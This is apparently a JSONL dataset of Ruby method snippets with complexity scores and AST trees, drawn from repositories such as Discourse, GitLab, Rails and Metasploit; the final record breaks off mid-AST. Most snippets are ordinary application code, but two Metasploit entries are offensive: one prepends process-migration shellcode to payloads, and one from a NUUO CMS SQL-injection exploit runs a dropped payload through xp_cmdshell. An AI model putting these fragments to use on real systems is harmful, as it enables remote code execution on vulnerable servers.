{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_personas_controller.rb","start_line":283,"raw_source":"def permit_tools(tools)\n return [] if !tools.is_a?(Array)\n\n tools.filter_map do |tool, options, force_tool|\n break nil if !tool.is_a?(String)\n options&.permit! if options && options.is_a?(ActionController::Parameters)\n\n # this is simpler from a storage perspective, 1 way to store tools\n [tool, options, !!force_tool]\n end\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permit_tools\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tools\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tools\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"force_tool\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},\"!\"]},{\"type\":\"break\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Parameters\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"permit!\"]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force_tool\"]},\"!\"]},\"!\"]}]}]}]}]}]}","id":"9fa5d499-9e28-40ff-adb5-2270a5582491"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_or_template.rb","start_line":723,"raw_source":"def connect_host(h)\n unless host == h\n _log.debug(\"Connecting Vm [#{name}] id [#{id}] to Host [#{h.name}] id [#{h.id}]\")\n self.host = h\n save\n\n # Also connect any nics to their lans\n connect_lans(h.lans)\n end\n end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"h\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting Vm [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"] to Host [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"] id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"host=\",{\"type\":\"lvar\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[null,\"save\"]},{\"type\":\"send\",\"children\":[null,\"connect_lans\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"lans\"]}]}]}]}]}","id":"f94c4653-2ab5-44a0-81bd-085783a7b924"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/blob_pairs_diffs.rb","start_line":73,"raw_source":"def generate_submodule_diff(changed_path)\n diff_lines = []\n if changed_path.deleted_file? || changed_path.modified_file?\n diff_lines << \"- Subproject commit #{changed_path.old_blob_id}\"\n end\n\n if changed_path.new_file? || changed_path.modified_file?\n diff_lines << \"+ Subproject commit #{changed_path.new_blob_id}\"\n end\n\n diff_lines.join(\"\\n\")\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_submodule_diff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"changed_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"deleted_file?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"modified_file?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- Subproject commit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"old_blob_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"new_file?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"modified_file?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"+ Subproject commit \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changed_path\"]},\"new_blob_id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_lines\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"7adc016f-6394-450f-87e0-f69d541267e8"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/family.rb","start_line":42,"raw_source":"def clear_member_cache!\n @member_count = nil\n @pending_invitations_count = nil\n @owner = nil\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_member_cache!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@member_count\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pending_invitations_count\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@owner\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"edd68967-5740-442d-ac0a-7eba802ed905"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/base.rb","start_line":375,"raw_source":"def self.hooks # :nodoc:\n @hooks ||= from_superclass(:hooks, {})\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"hooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@hooks\"]},{\"type\":\"send\",\"children\":[null,\"from_superclass\",{\"type\":\"sym\",\"children\":[\"hooks\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"7a61768e-e1cd-4042-b64c-a01c2f5f7cec"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/attachment.rb","start_line":154,"raw_source":"def load_content_from_active_storage\n return unless defined?(ActiveStorage)\n\n @content = case @source\n when ActiveStorage::Blob\n @source.download\n when ActiveStorage::Attached::One\n @source.blob&.download\n when ActiveStorage::Attached::Many\n # For multiple attachments, just take the first one\n # This maintains the single-attachment interface\n @source.blobs.first&.download\n end\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"load_content_from_active_storage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"case\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"download\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Attached\"]},\"One\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"blob\"]},\"download\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Attached\"]},\"Many\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"blobs\"]},\"first\"]},\"download\"]}]},null]}]}]}]}","id":"d68816ed-46db-40fd-a751-2ebad4874c50"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/serializer/readable_text.rb","start_line":530,"raw_source":"def self.dump_basic_module(mod, indent = '')\n # General\n output = \"\\n\"\n output << \" Name: #{mod.name}\\n\"\n output << \" Module: #{mod.fullname}\\n\"\n output << \" Platform: #{mod.platform_to_s}\\n\"\n output << \" Arch: #{mod.arch_to_s}\\n\"\n output << \" Rank: #{mod.rank_to_s.capitalize}\\n\"\n output << \"\\n\"\n\n # Authors\n output << \"Provided by:\\n\"\n mod.each_author { |author|\n output << indent + author.to_s + \"\\n\"\n }\n output << \"\\n\"\n\n output << dump_traits(mod)\n\n # Description\n output << dump_description(mod, indent)\n\n output << dump_references(mod, indent)\n\n output << \"\\n\"\n\n return output\n\n end","complexity_score":32.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dump_basic_module\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]},{\"type\":\"optarg\",\"children\":[\"indent\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Platform: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"platform_to_s\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Arch: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"arch_to_s\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" Rank: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"rank_to_s\"]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Provided by:\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"each_author\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author\"]},\"to_s\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"dump_traits\",{\"type\":\"lvar\",\"children\":[\"mod\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"dump_description\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"dump_references\",{\"type\":\"lvar\",\"children\":[\"mod\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"5fecafce-1734-4cb3-8cfe-9866aefee46a"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_color_palette_config_area.rb","start_line":60,"raw_source":"def copy_to_clipboard\n find(\".copy-to-clipboard\").click\n\n expect(PageObjects::Components::Toasts.new).to have_success(\n I18n.t(\"admin_js.admin.config_areas.color_palettes.copied_to_clipboard\"),\n )\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_to_clipboard\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".copy-to-clipboard\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"Toasts\"]},\"new\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_success\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin_js.admin.config_areas.color_palettes.copied_to_clipboard\"]}]}]}]}]}]}","id":"28b112e2-a664-40aa-8b07-2320b0288f8f"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":329,"raw_source":"def update_fields(params, performed_by, version: nil)\n return true if params.blank?\n\n (params[:payload] || {}).each { |k, v| self.payload[k] = v }\n self.category_id = params[:category_id] if params.has_key?(:category_id)\n\n result = false\n\n Reviewable.transaction do\n increment_version!(version)\n changes_json = changes.as_json\n changes_json.delete(\"version\")\n\n result = save\n log_history(:edited, performed_by, edited: changes_json) if result\n end\n\n result\n end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"kwoptarg\",\"children\":[\"version\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"payload\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"category_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reviewable\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"increment_version!\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"changes_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes\"]},\"as_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes_json\"]},\"delete\",{\"type\":\"str\",\"children\":[\"version\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"save\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[null,\"log_history\",{\"type\":\"sym\",\"children\":[\"edited\"]},{\"type\":\"lvar\",\"children\":[\"performed_by\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edited\"]},{\"type\":\"lvar\",\"children\":[\"changes_json\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"1ba5085c-241a-4cdc-a963-8a111385df33"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/factories/groups.rb","start_line":112,"raw_source":"def create_graph(parent: nil, children: 4, depth: 4)\n return unless depth > 1\n\n children.times do\n factory_name = parent.model_name.singular\n child = create(factory_name, parent: parent, organization: parent.organization)\n create_graph(parent: child, children: children, depth: depth - 1)\n end\n\n parent\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_graph\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"parent\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"children\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"kwoptarg\",\"children\":[\"depth\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"factory_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"model_name\"]},\"singular\"]}]},{\"type\":\"lvasgn\",\"children\":[\"child\",{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"lvar\",\"children\":[\"factory_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"organization\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_graph\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"children\"]},{\"type\":\"lvar\",\"children\":[\"children\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"depth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"depth\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}","id":"21586974-0d6a-40de-ac07-f433d93f71a4"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config.rb","start_line":166,"raw_source":"def for_badge(badge)\n @badge_config_cache[badge] ||= begin\n department_config = self[badge.department_name]\n cop_config = for_cop(badge.to_s)\n if department_config\n department_config.merge(cop_config)\n else\n cop_config\n end\n end\n end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"for_badge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"badge\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@badge_config_cache\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"badge\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"department_config\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"department_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cop_config\",{\"type\":\"send\",\"children\":[null,\"for_cop\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge\"]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department_config\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"cop_config\"]}]},{\"type\":\"lvar\",\"children\":[\"cop_config\"]}]}]}]}]}","id":"db42e816-c0d1-4203-85d8-b30f6b07c1f3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/prepend_migrate.rb","start_line":36,"raw_source":"def apply_prepend_migrate(buf)\n pre = ''\n\n test_arch = [ *(self.arch) ]\n\n if prepend_migrate?\n # Handle all x86 code here\n if test_arch.include?(ARCH_X86)\n migrate_asm = prepend_migrate(buf)\n pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string\n # Handle all x64 code here\n elsif test_arch.include?(ARCH_X64)\n migrate_asm = prepend_migrate_64(buf)\n pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string\n end\n end\n return pre + buf\n end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_prepend_migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pre\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test_arch\",{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"arch\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepend_migrate?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_arch\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migrate_asm\",{\"type\":\"send\",\"children\":[null,\"prepend_migrate\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Ia32\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"migrate_asm\"]}]},\"encode_string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_arch\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migrate_asm\",{\"type\":\"send\",\"children\":[null,\"prepend_migrate_64\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"migrate_asm\"]}]},\"encode_string\"]}]}]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pre\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]}]}]}]}","id":"c7ff856d-76b2-4fa8-bb81-ded7cb8cf8e3"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb","start_line":72,"raw_source":"def on_request_uri(cli, request)\n unless @pl\n print_error(\"A request came in, but the payload wasn't ready yet!\")\n return\n end\n print_good('Sending the payload to CMS...')\n send_response(cli, @pl)\n\n Rex.sleep(3)\n\n print_status('Executing shell...')\n inject_sql(create_hex_cmd(\"xp_cmdshell \\\"cmd /c C:\\\\windows\\\\temp\\\\#{@filename}\\\"\"))\n register_file_for_cleanup(\"c:/windows/temp/#{@filename}\")\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pl\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"A request came in, but the payload wasn't ready 